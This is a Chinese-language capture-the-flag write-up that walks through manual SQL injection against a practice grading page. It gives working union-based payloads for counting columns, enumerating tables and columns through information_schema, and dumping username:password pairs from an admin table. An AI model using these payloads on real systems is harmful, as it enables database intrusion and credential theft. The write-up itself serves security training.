Day18
成績單
快來查查成績吧
http://123.206.87.240:8002/chengjidan/

本題要點:sql手注、查詢基礎命令
首先查看一下源碼
沒什么有用的信息
看到表單類型,我們應該想到sql注入
先對它進行一個判斷
1.先測試正常數據,用火狐的hackbar插件post請求,一切正常
2.加上單引號’則數據為空,但是再加上注釋符#就又正常了
3. 然后嘗試獲取列數,因為已經有名字和三科成績了,所以就測試4或者更高,得知是4列
因為構造id=1' order by 5#時,沒有正常回顯,id=1' order by 4#時,正常回顯,所以判斷有4列。
4.嘗試聯合查詢,記得把前面的查詢數據置空,寫成id=0即可,顯示正常,說明確確實實存在這四列數據
對於剛接觸sql注入的初學者來說,大家可以多試幾次,比如將id分別換成1,2,3 .....
我們可以看到當id=4的時候,頁面就和當id=0的時候回顯一樣了
5.下面我們開始猜解數據庫名, 數據庫的用戶,數據庫的版本(沒有順序,把1留出來只是因為表單看起來順眼而已....)
6.根據數據庫skctf_flag去查詢表名
id=0' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),user(),version()#
這是一個固定格式~
注意,這里穿插一個知識點!!!!!!
union select 手工注入
mysql中的information_schema 結構用來存儲數據庫系統信息
information_schema 結構中這幾個表存儲的信息,在注射中可以用到的幾個表。
SCHEMATA 存儲數據庫名的,
關鍵字段:SCHEMA_NAME,表示數據庫名稱
TABLES 存儲表名的
關鍵字段:TABLE_SCHEMA表示表所屬的數據庫名稱;
TABLE_NAME表示表的名稱
COLUMNS 存儲字段名的
關鍵字段:TABLE_SCHEMA表示表所屬的數據庫名稱;
TABLE_NAME表示所屬的表的名稱
COLUMN_NAME表示字段名
爆所有數據名
select group_concat(SCHEMA_NAME) from information_schema.schemata
得到當前庫的所有表
select group_concat(table_name) from information_schema.tables where table_schema=database()
得到表中的字段名 將敏感的表進行16進制編碼adminuser=0x61646D696E75736572
select group_concat(column_name) from information_schema.columns where table_name=0x61646D696E75736572
得到字段具體的值 select group_concat(username,0x3a,password) from adminuser
補充結束
7.然后根據fl4g表去查詢列名
得到字段skctf_flag,即為列名
8.這樣我們拿到 列名 之后直接去獲取數據
完成!
